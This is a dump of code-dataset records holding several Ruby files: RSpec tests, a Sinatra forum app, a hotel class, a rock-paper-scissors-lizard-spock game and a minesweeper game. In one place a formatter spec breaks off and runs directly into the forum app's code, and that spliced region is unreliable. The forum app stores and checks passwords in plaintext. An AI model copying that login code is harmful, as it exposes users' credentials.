#{secret_number}\""},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1191,"cells":{"blob_id":{"kind":"string","value":"adea2d931e0501596116f8246808f92b48e30771"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"seann1/to_do_list_activerecord"},"path":{"kind":"string","value":"/spec/list_spec.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":690,"string":"690"},"score":{"kind":"number","value":2.53125,"string":"2.53125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require 'spec_helper'\n\ndescribe List do\n it \"has many tasks\" do\n list = List.create({:name => \"list\"})\n task1 = Task.create({:name => \"task1\", :list_id => list.id})\n task2 = Task.create({:name => \"task2\", :list_id => list.id})\n list.tasks.should eq [task1, task2]\n end\n\n it 'validates presence of a name' do\n list = List.new({:name => ''})\n list.save.should eq false\n end\n\n it 'ensures that a list name is less than 50 characters long' do\n list = List.new({:name => 'a' * 51})\n list.save.should eq false\n end\n\n it 'puts the list name entered into all lowercase' do\n list = List.new({:name => 'wORk'})\n list.save\n list.name.should eq 'work'\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1192,"cells":{"blob_id":{"kind":"string","value":"02312bc064d05555d8739932c52fff18d6a15249"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"Mortaro/towstagem"},"path":{"kind":"string","value":"/lib/towsta/kinds/datetime.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":443,"string":"443"},"score":{"kind":"number","value":2.53125,"string":"2.53125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"module Towsta\n module Kinds\n\n class DatetimeKind < MainKind\n\n def set content\n return @content = content if content.class == Time\n begin\n @content = DateTime.strptime(content, '%m/%d/%Y %H:%M').to_time\n rescue\n @content = nil\n end\n end\n\n def export\n return @content.strftime('%m/%d/%Y %H:%M') if @content.class == Time\n @content.to_s\n end\n\n end\n\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1193,"cells":{"blob_id":{"kind":"string","value":"3b9d4e57040730ddc9abe0ac9d8a9b2bb5899edb"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"mdippery/usaidwat"},"path":{"kind":"string","value":"/spec/usaidwat/formatter_spec.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":16559,"string":"16,559"},"score":{"kind":"number","value":2.609375,"string":"2.609375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"require 'spec_helper'\nrequire 'timecop'\n\nmodule USaidWat\n module CLI\n describe BaseFormatter do\n describe \"options\" do\n describe \"date formats\" do\n describe \"#relative_dates?\" do\n it \"should return true if a relative date formatter\" do\n f = BaseFormatter.new(:date_format => :relative)\n expect(f.relative_dates?).to be true\n end\n\n it \"should return true if relative date option is passed as a string\" do\n f = BaseFormatter.new(:date_format => 'relative')\n expect(f.relative_dates?).to be true\n end\n\n it \"should return false if date format is absolute\" do\n f = BaseFormatter.new(:date_format => :absolute)\n expect(f.relative_dates?).to be false\n end\n\n it \"should return false if date format is absolute and is passed as a string\" do\n f = BaseFormatter.new(:date_format => 'absolute')\n expect(f.relative_dates?).to be false\n end\n\n it \"should use relative dates by default\" do\n f = BaseFormatter.new\n expect(f.relative_dates?).to be true\n end\n\n it \"should use relative dates when a date format is invalid\" do\n f = BaseFormatter.new(:date_format => :iso)\n expect(f.relative_dates?).to be true\n end\n end\n end\n\n describe \"patterns\" do\n let (:formatter) { BaseFormatter.new(:pattern => /[0-9]+/) }\n describe \"#pattern\" do\n it \"should return its pattern\" do\n expect(formatter.pattern).to eq(/[0-9]+/)\n end\n\n it \"should return nil if it does not have a pattern\" do\n f = BaseFormatter.new\n expect(f.pattern).to be nil\n end\n end\n\n describe \"#pattern?\" do\n it \"should return true if it has a pattern\" do\n expect(formatter.pattern?).to be true\n end\n\n it \"should return false if it does not have a pattern\" do\n f = BaseFormatter.new\n expect(f.pattern?).to be false\n end\n\n it \"should return false by default\" do\n f = BaseFormatter.new\n expect(f.pattern?).to be false\n end\n end\n end\n\n describe \"#raw?\" do\n it \"should return true if it is a raw formatter\" do\n f = BaseFormatter.new(:raw => true)\n expect(f.raw?).to be true\n end\n\n it \"should return false if it is not a raw formatter\" do\n f = BaseFormatter.new(:raw => false)\n expect(f.raw?).to be false\n end\n\n it \"should return false by default\" do\n f = BaseFormatter.new\n expect(f.raw?).to be false\n end\n end\n end\n end\n\n describe PostFormatter do\n let(:formatter) { PostFormatter.new }\n\n before do\n Timecop.freeze(Time.new(2015, 11, 19, 15, 27))\n end\n\n after do\n Timecop.return\n end\n\n describe \"#format\" do\n it \"should return a string containing the formatted post\" do\n post = double(\"post\")\n expect(post).to receive(:subreddit).and_return(\"Games\")\n expect(post).to receive(:permalink).twice.and_return(\"/r/Games/comments/3ovldc/the_xbox_one_is_garbage_and_the_future_is_bullshit/\")\n expect(post).to receive(:title).and_return(\"The Xbox One Is Garbage And The Future Is Bullshit\")\n expect(post).to receive(:created_utc).and_return(Time.at(1444928064))\n expect(post).to receive(:url).twice.and_return(\"http://adequateman.deadspin.com/the-xbox-one-is-garbage-and-the-future-is-bullshit-1736054579\")\n expected = <<-EXPECTED\nGames\nhttps://www.reddit.com/r/Games/comments/3ovldc\nThe Xbox One Is Garbage And The Future Is Bullshit\nabout 1 month ago\nhttp://adequateman.deadspin.com/the-xbox-one-is-garbage-and-the-future-is-bullshit-1736054579\nEXPECTED\n expected = expected.strip\n actual = formatter.format(post).delete_ansi_color_codes\n expect(actual).to eq(expected)\n end\n\n it \"should not include the URL if it is the same as the permalink\" do\n permalink = \"/r/Games/comments/3ovldc/the_xbox_one_is_garbage_and_the_future_is_bullshit/\"\n post = double(\"post\")\n expect(post).to receive(:subreddit).and_return(\"Games\")\n expect(post).to receive(:permalink).twice.and_return(permalink)\n expect(post).to receive(:title).and_return(\"The Xbox One Is Garbage And The Future Is Bullshit\")\n expect(post).to receive(:created_utc).and_return(Time.at(1444928064))\n expect(post).to receive(:url).and_return(\"https://www.reddit.com#{permalink}\")\n expected = <<-EXPECTED\nGames\nhttps://www.reddit.com/r/Games/comments/3ovldc\nThe Xbox One Is Garbage And The Future Is Bullshit\nabout 1 month ago\nEXPECTED\n expected = expected.strip\n actual = formatter.format(post).delete_ansi_color_codes\n expect(actual).to eq(expected)\n end\n\n it \"should print two spaces between posts\" do\n post1 = double(\"first post\")\n expect(post1).to receive(:subreddit).and_return(\"Games\")\n expect(post1).to receive(:permalink).twice.and_return(\"/r/Games/comments/3ovldc/the_xbox_one_is_garbage_and_the_future_is_bullshit/\")\n expect(post1).to receive(:title).and_return(\"The Xbox One Is Garbage And The Future Is Bullshit\")\n expect(post1).to receive(:created_utc).and_return(Time.at(1444928064))\n expect(post1).to receive(:url).twice.and_return(\"http://adequateman.deadspin.com/the-xbox-one-is-garbage-and-the-future-is-bullshit-1736054579\")\n post2 = double(\"second post\")\n expect(post2).to receive(:subreddit).and_return(\"technology\")\n expect(post2).to receive(:permalink).twice.and_return(\"/r/technology/comments/3o0vrh/mozilla_lays_out_a_proposed_set_of_rules_for/\")\n expect(post2).to receive(:title).and_return(\"Mozilla lays out a proposed set of rules for content blockers\")\n expect(post2).to receive(:created_utc).and_return(Time.at(1444340278))\n expect(post2).to receive(:url).twice.and_return(\"https://blog.mozilla.org/blog/2015/10/07/proposed-principles-for-content-blocking/\")\n s = formatter.format(post1)\n s = formatter.format(post2)\n lines = s.split(\"\\n\")\n expect(lines[0]).to eq('')\n expect(lines[1]).to eq('')\n expect(lines[2]).to eq('')\n expect(lines[3]).not_to eq('')\n end\n end\n end\n\n describe CommentFormatter do\n let(:formatter) { CommentFormatter.new }\n\n before do\n Timecop.freeze(Time.new(2015, 6, 16, 17, 8))\n end\n\n after do\n Timecop.return\n end\n \n describe \"#format\" do\n it \"should return a string containing the formatted comment\" do\n comment = double(\"comment\")\n expect(comment).to receive(:subreddit).twice.and_return(\"programming\")\n expect(comment).to receive(:link_id).and_return(\"t3_13f783\")\n expect(comment).to receive(:id).and_return(\"c73qhxi\")\n expect(comment).to receive(:link_title).and_return(\"Why Brit Ruby 2013 was cancelled and why this is not ok - Gist\")\n expect(comment).to receive(:created_utc).and_return(Time.at(1433378314.0))\n expect(comment).to receive(:ups).and_return(12)\n expect(comment).to receive(:downs).and_return(1)\n expect(comment).to receive(:body).and_return(\"Welcome to the wonderful world of Python drama!\")\n expected = <<-EXPECTED\nprogramming\nhttp://www.reddit.com/r/programming/comments/13f783/z/c73qhxi\nWhy Brit Ruby 2013 was cancelled and why this is not ok - Gist\nabout 2 weeks ago \\u2022 +11\n\nWelcome to the wonderful world of Python drama!\nEXPECTED\n actual = formatter.format(comment).delete_ansi_color_codes\n expect(actual).to eq(expected)\n end\n \n it \"should print two spaces between comments\" do\n comment1 = double(\"first comment\")\n expect(comment1).to receive(:subreddit).twice.and_return(\"programming\")\n expect(comment1).to receive(:link_id).and_return(\"t3_13f783\")\n expect(comment1).to receive(:id).and_return(\"c73qhxi\")\n expect(comment1).to receive(:created_utc).and_return(Time.at(1433378314.0))\n expect(comment1).to receive(:ups).and_return(12)\n expect(comment1).to receive(:downs).and_return(1)\n expect(comment1).to receive(:link_title).and_return(\"Why Brit Ruby 2013 was cancelled and why this is not ok - Gist\")\n expect(comment1).to receive(:body).and_return(\"Welcome to the wonderful world of Python drama!\")\n comment2 = double(\"second comment\")\n expect(comment2).to receive(:subreddit).twice.and_return(\"programming\")\n expect(comment2).to receive(:link_id).and_return(\"t3_13f783\")\n expect(comment2).to receive(:id).and_return(\"c73qhxi\")\n expect(comment2).to receive(:created_utc).and_return(Time.at(1433378314.0))\n expect(comment2).to receive(:ups).and_return(12)\n expect(comment2).to receive(:downs).and_return(1)\n expect(comment2).to receive(:link_title).and_return(\"Why Brit Ruby 2013 was cancelled and why this is not ok - Gist\")\n expect(comment2).to receive(:body).and_return(\"Welcome to the wonderful world of Python drama!\")\n s = formatter.format(comment1)\n s = formatter.format(comment2)\n lines = s.split(\"\\n\")\n expect(lines[0]).to eq('')\n expect(lines[1]).to eq('')\n expect(lines[2]).not_to eq('')\n end\n \n it \"should strip leading and trailing whitespace from comments\" do\n comment = double(comment)\n expect(comment).to receive(:subreddit).twice.and_return(\"test\")\n expect(comment).to receive(:link_id).and_return(\"t3_13f783\")\n expect(comment).to receive(:id).and_return(\"c73qhxi\")\n expect(comment).to receive(:created_utc).and_return(Time.at(1433378314.0))\n expect(comment).to receive(:ups).and_return(12)\n expect(comment).to receive(:downs).and_return(1)\n expect(comment).to receive(:link_title).and_return(\"Why Brit Ruby 2013 was cancelled and why this is not ok - Gist\")\n expect(comment).to receive(:body).and_return(\"This is a comment.\\n\\nIt has two lines.\\n\\n\\n\")\n s = formatter.format(comment)\n lines = s.split(\"\\n\")\n expect(lines[-1]).to eq(\"It has two lines.\")\n end\n\n it \"should format HTML entities in post titles\" do\n comment = double(\"first comment\")\n expect(comment).to receive(:subreddit).twice.and_return(\"guitars\")\n expect(comment).to receive(:link_id).and_return(\"t3_13f783\")\n expect(comment).to receive(:id).and_return(\"c73qhxi\")\n expect(comment).to receive(:created_utc).and_return(Time.at(1433378314.0))\n expect(comment).to receive(:ups).and_return(12)\n expect(comment).to receive(:downs).and_return(1)\n expect(comment).to receive(:link_title).and_return(\"[GEAR] My 06 Fender EJ Strat, an R&amp;D prototype sold at NAMM\")\n expect(comment).to receive(:body).and_return(\"Lorem ipsum\")\n s = formatter.format(comment).delete_ansi_color_codes\n lines = s.split(\"\\n\")\n expect(lines[2]).to eq(\"[GEAR] My 06 Fender EJ Strat, an R&D prototype sold at NAMM\")\n end\n end\n end\n\n describe CompactCommentFormatter do\n let (:formatter) { CompactCommentFormatter.new }\n\n before do\n Timecop.freeze(Time.new(2015, 6, 16, 17, 8))\n end\n\n after do\n Timecop.return\n end\n\n describe \"#format\" do\n it \"should return a string containing the formatted comment\" do\n comment = double(\"comment\")\n expect(comment).to receive(:subreddit).and_return(\"programming\")\n expect(comment).to receive(:link_title).and_return(\"Why Brit Ruby 2013 was cancelled and why this is not ok - Gist\")\n expected = \"programming Why Brit Ruby 2013 was cancelled and why this is not ok - Gist\\n\"\n actual = formatter.format(comment).delete_ansi_color_codes\n expect(actual).to eq(expected)\n end\n\n it \"should format HTML entities in titles\" do\n comment = double(\"comment\")\n expect(comment).to receive(:subreddit).and_return(\"guitars\")\n expect(comment).to receive(:link_title).and_return(\"[GEAR] My 06 Fender EJ Strat, an R&amp;D prototype sold at NAMM\")\n expected = \"guitars [GEAR] My 06 Fender EJ Strat, an R&D prototype sold at NAMM\\n\"\n actual = formatter.format(comment).delete_ansi_color_codes\n expect(actual).to eq(expected)\n end\n\n it \"should return an empty string if a comment has already been printed\" do\n comment1 = double(\"comment\")\n comment2 = double(\"comment\")\n expect(comment1).to receive(:subreddit).and_return(\"programming\")\n expect(comment1).to receive(:link_title).and_return(\"Why Brit Ruby 2013 was cancelled and why this is not ok - Gist\")\n _ = formatter.format(comment1).delete_ansi_color_codes\n expect(comment2).to receive(:subreddit).and_return(\"programming\")\n expect(comment2).to receive(:link_title).and_return(\"Why Brit Ruby 2013 was cancelled and why this is not ok - Gist\")\n actual = formatter.format(comment2).delete_ansi_color_codes\n expect(actual).to eq(\"\")\n end\n end\n end\n\n describe CompactPostFormatter do\n let (:formatter) { CompactPostFormatter.new }\n\n describe '#format' do\n it 'should return a string containing the formatted comment' do\n post = double('post')\n expect(post).to receive(:subreddit).and_return('programming')\n expect(post).to receive(:title).and_return('Why Brit Ruby 2013 was cancelled and why this is not ok - Gist')\n expected = \"programming Why Brit Ruby 2013 was cancelled and why this is not ok - Gist\\n\"\n actual = formatter.format(post).delete_ansi_color_codes\n expect(actual).to eq(expected)\n end\n end\n end\n\n describe TallyFormatter do\n before(:all) do\n Struct.new('PartitionData', :longest, :counts)\n end\n\n let (:formatter) { TallyFormatter.new }\n\n describe '#format' do\n it 'should format partitioned data' do\n longest_subreddit = 'writing'.length\n count_data = [['apple', 5], ['Bass', 1], ['Python', 3], ['writing', 10]]\n partition = Struct::PartitionData.new(longest_subreddit, count_data)\n expected = <<-EOS\napple 5\nBass 1\nPython 3\nwriting 10\nEOS\n actual = formatter.format(partition)\n expect(actual).to eq(expected)\n end\n end\n end\n\n describe TimelineFormatter do\n let (:data) { [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 6, 1, 11, 0, 2, 1, 4, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9, 2, 7, 4, 1, 6, 1, 2, 2, 0, 0, 0, 0, 1],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 5, 5, 0, 0, 0, 3, 2, 0, 0, 1, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 2, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]] }\n let (:formatter) { TimelineFormatter.new }\n\n describe '#format' do\n it 'should format a timeline' do\n expected = < 0) # Passing in Front page render data and only grabs the original posts.\n postdata.each{ |row| @posts << [ row[:title], row[:postID], row[:author] ] }\n erb :index\nend\n\npost '/' do\n #we have a few things in params[] title and text\n id = (DB[:dataPost].map(:postID)).max + 1\n DB[:dataPost].insert( :parentID => 0, :postID => id, :title => params[:title], :text => params[:text], :author => session[:username] )\n redirect '/'\nend #parent ID for posting to this is always 0 as it's an original post and must appear on the front page. The only thing that is rather tough to grab is post ID, but we'll create that like me grab a new user ID\n\nget '/thread' do\n original = ( DB[:dataPost].where( :postID => params[:thread] ) ) #this points to a hash with title author and text as the significant fields.\n original.each do |x| @op = [ x[:author], x[:title], x[:text] ]\n end\n# @comments = []\n# postdata = DB[:dataPost].where( :parentID => params[:thread] )\n# postdata.each do |row| @comments << [ row[:author], row[:text] ];\n# end\n @thread = params[:thread]\n @posts = []\n postdata = DB[:dataPost].where(:parentID => params[:thread])\n postdata.each{ |row| @posts << [ row[:text], row[:author] ] }\n erb :thread\nend\n\npost '/thread' do\n if session[:username] != nil\n id = (DB[:dataPost].map(:postID)).max + 1\n DB[:dataPost].insert(:author => session[:username], :text => params[:text], :parentID => params[:thread], :postID => id) #CREATE METHOD FOR FINDING NEXT ID\n end\n redirect '/thread?thread=' + params[:thread]\nend\n\nget '/signup' do #account creation\n erb :signup\nend\n\npost '/signup' do #checks if form data is valid and creates account or asks to retry\n usernames = DB[:dataUser].map(:username)\n if usernames.include?(params[:user])\n @status = 'Signup Failed' #on invalid form data send back to signup to retry\n erb :signup\n else\n id = DB[:dataUser].map(:userID) #on valid form data\n id = id.max + 1\n DB[:dataUser].insert(:userID => id, :username => params[:user], :password =>params[:pass])\n redirect '/login'\n end\nend\n\nget '/login' do #account login\n erb :login\nend\n\npost '/login' do\n login_data = DB[:dataUser].to_hash(:username, :password) # Need to check for a more efficient way to do this bit\n #create hash from current DB user data table and check whether the given username in the table points to the given password\n if login_data[params[:user]] == params[:pass]\n session[:username] = params[:user] # only cookie necessary is who a user is, which let's me grab all of the information. Need a SECRET encoded cokie\n redirect '/'\n else\n @status = 'Login Failed' # I pass a string here because passing in true or false makes the erb for this much more complicated than it needs to be\n end\n erb :login\nend\n\nget '/logout' do #logs user out by removing cookie\n session[:username] = nil\n redirect '/'\nend"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1195,"cells":{"blob_id":{"kind":"string","value":"c71f483606f39cd89a130a9d75d0a25978386618"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"CraMo7/wkndhw2"},"path":{"kind":"string","value":"/classes/hotel.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":959,"string":"959"},"score":{"kind":"number","value":3.125,"string":"3.125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require_relative(\"../classes/booking.rb\")\nrequire_relative(\"../classes/recordbook.rb\")\n\n\n\nclass Hotel\n\n attr_reader :capacity, :occupancy, :bookings\n\n def initialize(params = {})\n params.has_key?(:single_rooms) ? @single_rooms_total = params[:single_rooms] : @single_rooms_total = 0\n params.has_key?(:double_rooms) ? @double_rooms_total = params[:double_rooms] : @double_rooms_total = 0\n params.has_key?(:single_rooms)\n @capacity = @single_rooms_total + @double_rooms_total * 2\n params.has_key?(:occupancy) ? @occupancy = params[:occupancy] : @occupancy = 0\n params.has_key?(:revenue) ? @revenue = params[:revenue] : @revenue = 0\n params.has_key?(:costs) ? @costs = params[:costs] : @costs = 0\n params.has_key?(:bookings) ? @bookings = params[:bookings] : @bookings = Array.new\n end\n\n def add_booking(booking)\n booking.class == Booking ? @bookings << booking : return\n end\n\n\n def read_record_book\n \n end\n\nend# => class end"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1196,"cells":{"blob_id":{"kind":"string","value":"d28011d6c1b6b7719382f8a2c8034ef0b57eb42e"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"jociemoore/ruby_oop_practice"},"path":{"kind":"string","value":"/120_lesson_2/bonus_features.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":6479,"string":"6,479"},"score":{"kind":"number","value":3.484375,"string":"3.484375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"# keep score\n# Lizard Spock\n# History of Moves\n\n# => I used an array of arrays which records the win or loss and the move choice. \n# => I included the history methods in the existing Player class.\n# => I outputted the history of moves as a numbered list.\n\n# Adjust computer choice based on history\n\nrequire 'pry'\n\nclass Move\n VALUES = ['rock', 'paper', 'scissors', 'lizard', 'spock']\n\n def initialize(value)\n @value = value\n end\n\n def scissors?\n @value == 'scissors'\n end\n\n def paper?\n @value == 'paper'\n end\n\n def rock?\n @value == 'rock'\n end\n\n def lizard?\n @value =='lizard'\n end\n\n def spock?\n @value == 'spock'\n end\n\n def >(other_move)\n rock? && other_move.scissors? ||\n rock? && other_move.lizard? ||\n scissors? && other_move.lizard? ||\n scissors? && other_move.paper? ||\n lizard? && other_move.paper? ||\n lizard? && other_move.spock? ||\n paper? && other_move.spock? ||\n paper? && other_move.rock? ||\n spock? && other_move.rock? ||\n spock? && other_move.scissors?\n end\n\n def <(other_move)\n rock? && other_move.spock? ||\n rock? && other_move.paper? ||\n spock? && other_move.paper? ||\n spock? && other_move.lizard? ||\n paper? && other_move.scissors? ||\n paper? && other_move.lizard? ||\n lizard? && other_move.rock? ||\n lizard? && other_move.scissors? ||\n scissors? && other_move.spock? ||\n scissors? && other_move.rock? \n end\n\n def to_s\n @value\n end\nend\n\nclass Move_Analysis\n attr_accessor :history, :chance_rock, :chance_paper, :chance_scissors, :chance_lizard, :chance_spock\n\n def initialize(history)\n @history = history\n @chance_rock = calculate_failure('rock')\n @chance_paper = calculate_failure('paper')\n @chance_scissors = calculate_failure('scissors')\n @chance_lizard = calculate_failure('lizard')\n @chance_spock = calculate_failure('spock')\n end\n\n def calculate_failure(move_type)\n number_losses = self.history.count([\"L\", move_type])\n total_moves_by_type = number_losses + self.history.count([\"W\", move_type])\n if total_moves_by_type > 0 && number_losses.to_f > 0\n number_losses.to_f / total_moves_by_type.to_f\n else\n 0\n end\n end\n\n def get_options\n computer_choices = Move::VALUES.clone\n old_moves = self.history.map { |array| array[1] }\n random_luck = rand(1..10)\n if self.chance_rock > 0.6 && old_moves.count('rock') > 1\n computer_choices.delete('rock')\n end\n if self.chance_paper > 0.6 && old_moves.count('paper') > 1\n computer_choices.delete('paper')\n end\n if self.chance_scissors > 0.6 && old_moves.count('scissors') > 1\n computer_choices.delete('scissors')\n end\n if self.chance_lizard > 0.6 && old_moves.count('lizard') > 1\n computer_choices.delete('lizard')\n end\n if self.chance_spock > 0.6 && old_moves.count('spock') > 1\n computer_choices.delete('spock')\n end\n if computer_choices.empty? || random_luck % 3 == 0\n computer_choices = Move::VALUES\n end\n computer_choices\n end\nend\n\nclass Player\n attr_accessor :move, :name, :score, :log\n\n def initialize\n set_name\n @score = 0\n @log = []\n end\n\n def increase_score\n self.score += 1\n end\n\n def record_move(win_loss, play)\n self.log << [win_loss, play] \n end\n\n def display_history\n puts \"\\n************************\"\n puts \"#{self.name}'s History of Moves: \"\n self.log.each_with_index do |prev_move, index| \n puts \"#{index + 1}) #{prev_move}\"\n end\n puts \"************************\\n\"\n end\nend\n\nclass Human < Player\n def set_name\n n = nil\n loop do\n puts \"==================\"\n print \"Please introduce yourself to your opponent. \\nWhat is your name: \"\n n = gets.chomp\n break unless n.empty?\n puts \"Sorry, must enter a value.\"\n end\n self.name = n\n end\n\n def choose\n puts \"==================\"\n print \"#{name}, please choose rock, paper, scissors, lizard, or spock: \"\n choice = nil\n loop do\n choice = gets.chomp\n break if Move::VALUES.include? choice\n puts \"Sorry, invalid choice.\"\n end\n self.move = Move.new(choice)\n end\nend\n\nclass Computer < Player\n def set_name\n self.name = ['R2D2', 'Hal', 'Chappie', 'Sarah', 'Beth'].sample\n puts \"You will be playing against #{name}.\"\n end\n\n def choose\n choice = Move_Analysis.new(self.log).get_options.sample\n self.move = Move.new(choice)\n end\nend\n\nclass RPSGame\n attr_accessor :human, :computer\n\n def initialize\n @human = Human.new\n @computer = Computer.new\n @@game_over = false\n end\n\n def display_moves\n puts \"--------\"\n puts \"#{human.name} chose #{human.move}.\"\n puts \"#{computer.name} chose #{computer.move}.\"\n puts \"--------\"\n end\n\n def display_winner\n if human.move > computer.move\n puts \"#{human.name} won!\"\n human.increase_score\n human.record_move('W', human.move.to_s)\n computer.record_move('L', computer.move.to_s)\n elsif human.move < computer.move\n puts \"#{computer.name} won!\"\n computer.increase_score\n human.record_move('L', human.move.to_s)\n computer.record_move('W', computer.move.to_s)\n else\n puts \"It's a tie!\"\n end\n display_scoreboard\n end\n\n def display_scoreboard\n puts \"--------\"\n puts \"#{human.name}: #{human.score}\"\n puts \"#{computer.name}: #{computer.score}\"\n puts \"--------\"\n if human.score == 10\n puts \"#{human.name} won 'Best of Ten'.\"\n @@game_over = true\n elsif computer.score == 10\n puts \"#{computer.name} won 'Best of Ten'.\"\n @@game_over = true\n end\n end\n\n def play\n loop do\n human.choose\n computer.choose\n display_moves\n display_winner\n human.display_history\n computer.display_history\n break if @@game_over\n play_again?\n end\n end\nend\n\ndef display_welcome_message\n puts \"Welcome to Rock, Paper, Scissors, Lizard, Spock!\"\nend\n\ndef display_goodbye_message\n puts \"==================\"\n puts \"Thanks for playing Rock, Paper, Scissors, Lizard, Spock. Goodbye!\"\n exit\nend\n\ndef play_again?\n answer = nil\n puts \"==================\"\n loop do\n print \"Would you like to play again? (y/n) \"\n answer = gets.chomp.downcase\n break if ['y', 'n'].include? answer\n puts \"Sorry, must be 'y' or 'n'.\"\n end\n\n return true if answer == 'y'\n if answer == 'n'\n display_goodbye_message\n end\nend\n\ndisplay_welcome_message\nloop do \n RPSGame.new.play\n break unless play_again?\nend\n\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1197,"cells":{"blob_id":{"kind":"string","value":"22872cb009f00314f1acbd1132fb188318284d36"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"chongr/minesweeper"},"path":{"kind":"string","value":"/minesweeper.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":4770,"string":"4,770"},"score":{"kind":"number","value":3.40625,"string":"3.40625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require \"yaml\"\nclass Minesweeper\n\n def initialize(player)\n @player = player\n @gameboard = Board.new\n end\n\n def play\n playturn until gameover?\n end\n\n def playturn\n #@gameboard.display\n @gameboard.player_display\n move = @player.get_move\n make_move(move)\n save_game\n\n end\n\n def save_game\n save_file = File.open(\"save_game\", \"w\")\n yamlfile = @gameboard.to_yaml\n IO.binwrite(save_file, yamlfile)\n end\n\n def load_game\n @gameboard = YAML::load(IO.binread(\"save_game\"))\n end\n\n def make_move(move)\n letter = move[1]\n pos = move[0]\n tile_pos = @gameboard.grid[pos[0]][pos[1]]\n #debugger\n if letter == \"f\"\n tile_pos.flag\n else\n tile_pos.reveal if tile_pos.flagged == false\n @gameboard.reveal_zeros(pos) if tile_pos.symbol == 0\n end\n end\n\n def gameover?\n if @gameboard.grid.flatten.count{|tile| tile.hidden == false} == (81 - @gameboard.numberofbombs)\n puts \" gratz you win\"\n exit\n elsif @gameboard.grid.flatten.any? {|tile| tile.hidden == false && tile.symbol == :b }\n puts \"you suck at this #{@player.name}\"\n exit\n end\n false\n end\nend\n\nclass Tile\n attr_accessor :symbol, :flagged, :hidden\n def initialize\n @symbol = :*\n @flagged = false\n @hidden = true\n end\n\n def reveal\n @hidden = false if @flagged == false\n end\n\n def flag\n if @flagged == false\n @flagged = true\n else\n @flagged = false\n end\n end\n\n def show_player\n if hidden && flagged\n return :F\n elsif hidden\n return :*\n else\n return @symbol\n end\n end\n\nend\n\nclass Board\n attr_accessor :grid\n attr_reader :numberofbombs\n def initialize\n # debugger\n @numberofbombs = 30\n @grid = Array.new(9) {Array.new(9) {Tile.new}}\n place_bombs\n place_bomb_indicators\n end\n\n def place_bombs\n bomb_placed = 0\n\n while bomb_placed < numberofbombs\n randx = rand(0..8)\n randy = rand(0..8)\n\n if @grid[randx][randy].symbol != :b\n @grid[randx][randy].symbol = :b\n bomb_placed += 1\n end\n\n end\n end\n\n def place_bomb_indicators\n @grid.each_with_index do |row,idx1|\n row.each_with_index do |col,idx2|\n count = count_adj_bombs([idx1,idx2])\n @grid[idx1][idx2].symbol = count if @grid[idx1][idx2].symbol != :b\n end\n end\n\n end\n\n def count_adj_bombs(pos)\n row = pos[0]\n col = pos[1]\n adjacent_spots =\n { left: [row, col - 1],\n right: [row, col + 1],\n top: [row + 1, col],\n bot: [row - 1, col],\n upL: [row + 1, col - 1],\n upR: [row + 1, col + 1],\n botL: [row - 1, col - 1],\n botR: [row - 1, col + 1]\n }\n\n count = adjacent_spots.values.select do |spot|\n spot[0].between?(0, 8) && spot[1].between?(0, 8) && @grid[spot[0]][spot[1]].symbol == :b\n end\n\n count.length\n end\n\n def display\n @grid.each{|row| p row.map {|pos| pos.symbol}}\n end\n\n def player_display\n @grid.each{|row| p row.map {|pos| pos.show_player}}\n end\n \n def reveal_zeros(pos)\n row = pos[0]\n col = pos[1]\n @grid[row][col].reveal\n return if @grid[pos[0]][pos[1]].symbol == /[0-9]/\n \n adjacent_spots =\n { left: [row, col - 1],\n right: [row, col + 1],\n top: [row + 1, 